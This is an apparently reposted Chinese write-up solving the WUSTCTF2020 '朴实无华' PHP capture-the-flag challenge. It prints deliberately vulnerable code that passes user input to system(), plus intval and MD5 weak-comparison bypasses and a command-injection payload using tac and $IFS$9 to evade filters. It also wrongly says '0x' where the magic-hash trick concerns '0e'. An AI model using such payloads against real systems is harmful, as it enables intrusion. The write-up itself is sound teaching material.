飞道的博客

[WUSTCTF2020]朴实无华

368人阅读  评论(0)

感觉这个题目是几个知识点的总和,根据知识点来出的题目。

考察点:三重绕过,intval()函数进行科学计数法的绕过,md5碰撞,命令执行,php绕过过滤空格

目录

 1. 源码泄露

2. 代码审计

(1)level1

(2) level2

(3) get flag

相关资料:


 1. 源码泄露

查看robots.txt,


  
  1. User-agent: *
  2. Disallow: /fAke_f1agggg.php

继续查看/fAke_f1agggg.php,

这个是个虚假的flag,但是我们可以根据响应头,看到有个提示:fl4g.php,跳转,得到源码

但是,我的编码有点问题,不是很友好,中文乱码,

2. 浏览器调整编码

我用的是firefox浏览器,点击三个杠的图标,然后继续点击更多

然后,点击文字编码

选择unicode编码方式即可。得到源码


  
  1. <?php
  2. header( 'Content-type:text/html;charset=utf-8');
  3. error_reporting( 0);
  4. highlight_file( __file__);
  5. //level 1
  6. if ( isset($_GET[ 'num'])){
  7. $num = $_GET[ 'num'];
  8. if(intval($num) < 2020 && intval($num + 1) > 2021){
  9. echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
  10. } else{
  11. die( "金钱解决不了穷人的本质问题");
  12. }
  13. } else{
  14. die( "去非洲吧");
  15. }
  16. //level 2
  17. if ( isset($_GET[ 'md5'])){
  18. $md5=$_GET[ 'md5'];
  19. if ($md5==md5($md5))
  20. echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
  21. else
  22. die( "我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
  23. } else{
  24. die( "去非洲吧");
  25. }
  26. //get flag
  27. if ( isset($_GET[ 'get_flag'])){
  28. $get_flag = $_GET[ 'get_flag'];
  29. if(!strstr($get_flag, " ")){
  30. $get_flag = str_ireplace( "cat", "wctf2020", $get_flag);
  31. echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
  32. system($get_flag);
  33. } else{
  34. die( "快到非洲了");
  35. }
  36. } else{
  37. die( "去非洲吧");
  38. }
  39. ?>

2. 代码审计

大致分析一下:分为三个部分:level1,level2,get flag。三个部分。

(1)level1


  
  1. //level 1
  2. if ( isset($_GET[ 'num'])){
  3. $num = $_GET[ 'num'];
  4. if(intval($num) < 2020 && intval($num + 1) > 2021){ //需要$num小于2020但是+1之后大于2021
  5. echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
  6. } else{
  7. die( "金钱解决不了穷人的本质问题");
  8. }
  9. } else{
  10. die( "去非洲吧");
  11. }

我们GET方式传入$num参数,然后实现intval($num) < 2020 && intval($num + 1) > 2021

intval() 函数用于获取变量的整数值。

查阅资料,发现intval有个神奇的地方,直接看测试吧


  
  1. <?php
  2. $a = '2e4';
  3. var_dump($a);
  4. var_dump(intval($a));
  5. $b = $a + 1;
  6. echo $b. "\n";
  7. var_dump($b);
  8. var_dump(intval($b));

结果:


  
  1. string( 3) "2e4"
  2. int( 2)
  3. 20001
  4. float( 20001)
  5. int( 20001)

所以对字符串2e4,intval()函数只会讲其中的2给提取出来,也就是2。

我们知道php还有个强制转换的机制,如果我们将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。

而2e4字符串转换成数字是浮点数20000,然后再加0就是浮点数20001,再intval将整数部分提取出来,就是(int)20001。所以可以进行绕过。

(2) level2


  
  1. //level 2
  2. if ( isset($_GET[ 'md5'])){
  3. $md5=$_GET[ 'md5'];
  4. if ($md5==md5($md5)) //需要找到一个字符串满足它本身和它的md5编码值弱比较相同
  5. echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
  6. else
  7. die( "我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
  8. } else{
  9. die( "去非洲吧");
  10. }

看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。

0e215962017


  
  1. //第二个md5绕过
  2. $c = "0e215962017";
  3. echo "$c". "\n";
  4. $d = md5($c);
  5. echo "$d". "\n";
  6. if ($c==$d)
  7. echo "成功绕过". "\n";

结果:


  
  1. 0e215962017
  2. 0e291242476940776845150308577824
  3. 成功绕过

(3) get flag


  
  1. //get flag
  2. if ( isset($_GET[ 'get_flag'])){
  3. $get_flag = $_GET[ 'get_flag'];
  4. if(!strstr($get_flag, " ")){ //就是说当$get_flag中没有空格( )的时候,执行下面的语句
  5. $get_flag = str_ireplace( "cat", "wctf2020", $get_flag);
  6. echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
  7. system($get_flag);
  8. } else{
  9. die( "快到非洲了");
  10. }
  11. } else{
  12. die( "去非洲吧");
  13. }

strstr() 函数搜索字符串在另一字符串中的第一次出现,并且返回字符串的剩余部分。如果找不到要找的字符串,则返回false.

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

我们需要传入的$get_flag,不存在空格,并且cat也会被替代为wctf2020,然后才会执行$get_flag。

先试试传入ls,查看目录文件

接下来就是查看文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

关于tac

cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。

本地测试

首先再一个文件夹中创建两个文件,flag和a.php


  
  1. <?php
  2. //a.php
  3. system( "ls");
  4. echo "<br>";
  5. system( "cat flag");
  6. echo "<br>";
  7. system( "tac flag");
  8. ?>

flag文件


  
  1. //flag文件
  2. 这是flag
  3. 1
  4. 2
  5. 3

 执行之后,得到

关于php中替代空格

可以用$IFS$9代替空格

最终的payload:

fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

相关资料:

 1. 关于md5绕过的一些东西

 


转载:https://blog.csdn.net/RABCDXB/article/details/115842444
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场